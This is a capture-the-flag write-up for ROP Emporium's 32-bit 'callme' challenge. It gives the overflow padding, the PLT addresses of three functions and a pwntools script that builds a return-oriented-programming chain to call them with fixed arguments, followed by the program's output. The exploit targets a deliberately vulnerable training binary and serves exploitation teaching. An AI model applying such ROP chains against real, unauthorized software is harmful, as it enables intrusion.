# callme 32-bits

b0th

May 28, 2020

## 1 Problem

Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.

## 2 Solve

We know we must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.

1. We need to find the padding as usual.

   In this case its 44 bytes.

2. We must find this three functions thanks to the Procedure Linkage Table.

   callme_one() adress: `0x080485c0`

   callme_two() adress: `0x08048620`

   callme_three() adress: `0x080485b0`

3. we have to write the ROPchain, so i have made a solve.py:

```python
from pwn import *

p='A'*44

p+=p32(0x080485c0) #callme_one()
p+=p32(0x80488a9) #gadget to pop esi,edi,ebp
p+=p32(0x1) #arg 1
p+=p32(0x2) #arg 2
p+=p32(0x3) #arg 3

p+=p32(0x08048620) #callme_two()
p+=p32(0x80488a9) #gadget to pop esi,edi,ebp
p+=p32(0x1) #arg 1
p+=p32(0x2) #arg 2
p+=p32(0x3) #arg 3

p+=p32(0x080485b0) #callme_three()
p+=p32(0x80488a9) #gadget to pop esi,edi,ebp
p+=p32(0x1) #arg 1
p+=p32(0x2) #arg 2
p+=p32(0x3) #arg 3

print p
```

4. After doing that, we can just pipe it into the binary.

```
# python solve.py | ./callme32
callme by ROP Emporium
32bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!
```